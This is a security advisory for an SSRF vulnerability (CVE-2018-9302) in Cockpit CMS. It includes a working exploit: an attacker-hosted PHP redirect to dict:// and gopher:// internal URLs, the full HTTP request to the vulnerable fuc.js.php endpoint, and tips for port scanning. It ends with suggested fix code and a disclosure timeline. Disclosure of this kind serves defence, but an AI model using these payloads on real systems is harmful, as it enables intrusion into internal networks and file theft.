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92 lines
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# SSRF（Server Side Request Forgery） in Cockpit 0.4.4-0.5.5 (CVE-2018-9302)
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Cockpit CMS repairs CVE-2017-14611, but it can be bypassed, SSRF still exist, affecting the Cockpit CMS 0.4.4-0.5.5 versions.I've been tested success of "Cockpit CMS" lastest version.
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## Product Download: Cockpit (https://getcockpit.com)
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## Vulnerability Type：SSRF（Server Side Request Forgery）
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## Attack Type : Remote
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## Vulnerability Description
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You can edit a .php file on own server. The .php file's code example:
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<?php Header("Location: dict://127.0.0.1:3306/_0d%");?>
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## Exploit
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Request:
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GET /assets/lib/fuc.js.php?url=http://myserver/redirect.php HTTP/1.1
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Host: myserver
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Connection: close
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Cache-Control: max-age=0
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8
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referer:http://myserver/index.php
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Modify the redirect.php file on the attacker's server.example:
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<?php Header("Location: gopher://127.0.0.1:3306/_0d%");?>
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If the curl function is available,then use gopher、tftp、http、https、dict、ldap、imap、pop3、smtp、telnet protocols method，if not then only use http、https、ftp protocol
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scan prot,example: <?php Header("Location: dict://127.0.0.1:3306/");?>
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If the curl function is unavailable,this vulnerability trigger need allow_url_fopen option is enable in php.ini，allow_url_fopen option defualt is enable.
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## Versions
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Product: Cockpit CMS 0.4.4-0.5.5
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## Impact
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SSRF (Server Side Request Forgery) in /assets/lib/fuc.js.php in Cockpit 0.4.4 through 0.5.5 allows remote attackers to read arbitrary files or send TCP traffic to intranet hosts via the url parameter.
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## Fix Code
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The fix code example：
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$url = $_REQUEST['url'];
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$content = null;
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if (!filter_var($url, FILTER_VALIDATE_URL)) {
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header('HTTP/1.0 400 Bad Request');
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return;
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}
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// allow only http requests
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if (!preg_match('#^http(|s)\://#', $url)) {
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header('HTTP/1.0 403 Forbidden');
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return;
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}
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preg_match('/https*:\/\/(.+)/', $url, $matches);
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$host= count($matches) > 1 ? $matches[1] : '';
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$ip = gethostbyname($host);
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//check private ip
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if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) {
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return
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}
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and modify the line 48 :
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curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 0);
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## Credit
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This vulnerability was discovered by Qian Wu & Bo Wang & Jiawang Zhang & National Computer Network Emergency Response Technical Team/Coordination Center of China (CNCERT/CC)
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## References
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CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9302
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### Timeline:
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2018-04-03 Found Cockpit CMS vulnerability.
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2018-04-04 Submit vulnerability information to developers.
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2018-04-05 Submit CVE-ID request
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2018-04-28 Vendor no response, Public vulnerability information,Please Fix it. |